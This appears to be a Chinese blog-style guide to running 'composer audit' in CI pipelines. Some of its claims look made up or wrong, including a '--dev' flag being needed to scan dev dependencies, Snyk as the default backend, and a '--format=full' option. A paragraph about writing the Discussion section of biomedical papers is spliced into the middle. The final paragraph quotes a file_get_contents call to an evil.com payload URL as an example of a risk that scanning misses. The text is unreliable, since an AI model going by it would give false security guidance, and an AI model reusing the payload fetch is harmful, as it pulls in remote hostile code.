composer audit 默认只检查 composer.lock 中已安装的包且不递归验证 dev-dependencies，需显式加 --dev；ci 中漏该参数将遗漏 phpunit 等开发依赖中的安全漏洞。
composer audit 会默认检查所有依赖吗
不会。默认只检查 composer.lock 中已安装的包，但**不递归验证 dev-dependencies**，除非显式加 --dev。CI 环境里漏掉这个参数，等于白跑——很多安全漏洞藏在 phpunit、mockery 这类开发依赖里。
实操建议：
- CI 脚本中固定用
composer audit --dev --no-interaction，避免交互中断流水线 - 如果项目用了
platform-check（比如强制 PHP 8.2），audit 不会校验平台兼容性，得靠composer validate --strict补位 - 某些私有包若未在 packagist.org 注册，audit 会跳过——不是报错，是静默忽略，得提前确认源配置是否包含对应仓库
CI 中 audit 退出码为 0 却没发现已知漏洞
常见于 Composer 版本太老：composer audit 在 2.5.0+ 才默认启用 Snyk 后端；低于该版本实际调用的是过时的 Packagist 安全告警接口，覆盖范围极窄，连 CVE-2023-41277 这种高危 Laravel 漏洞都可能漏掉。
实操建议：
- CI 初始化阶段加
composer self-update --2，确保用上 Composer 2.x 最新版 - 运行前检查
composer --version输出，避免被缓存的旧二进制坑到 - 用
composer audit --format=json抓原始响应，确认"advisories_count"字段真实非零——有时终端颜色渲染或截断会让失败看起来像成功
audit 扫描慢、卡在 fetching advisories
本质是网络请求阻塞：Composer 默认从 https://security.sensiolabs.org（已停用）或 Snyk 的公开 API 拉取漏洞库，国内 CI 环境常因 DNS 或连接问题超时，默认重试 3 次，单次最长等 30 秒。
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论（Discussion）”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性，以及撰写结论。当用户输入以下任一指令时也会自动触发该功能： - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
实操建议：
- CI 配置里加环境变量
COMPOSER_HOME=/tmp/composer，避免和本地配置冲突导致代理失效 - 设超时：用
timeout 60s composer audit --dev --no-interaction主动中断卡死流程 - 敏感项目可提前缓存漏洞库：在 CI 前置步骤跑
curl -sS https://security.snyk.io/api/v1/vulnerabilities/php | gzip > /tmp/snyk-php.json.gz，再通过自定义插件注入（需额外开发，非开箱即用）
如何让 audit 失败时精准定位到具体包
composer audit 默认只输出摘要，比如 “2 vulnerabilities found”，但不告诉你哪个包、哪个版本、对应 CVE 是什么。CI 日志里只能看到红字，没法快速 triage。
实操建议：
- 必须加
--format=full，它会逐条列出package: laravel/framework、version: 9.52.0、cve: CVE-2023-3413、title: Improper Input Validation - 配合
grep -A 5 "CVE-" 快速提取关键行，省去翻长日志 - 注意：
--format=json输出字段名是advisory而非cve，有些条目只有title和link，没有标准 CVE 编号
audit 不是银弹——它查不到你代码里硬编码的密钥、查不到 eval() 的动态调用链，更查不到你用 file_get_contents('https://evil.com/payload.php') 这种写法。依赖扫描只是纵深防御的第一层，别让它给你虚假安全感。
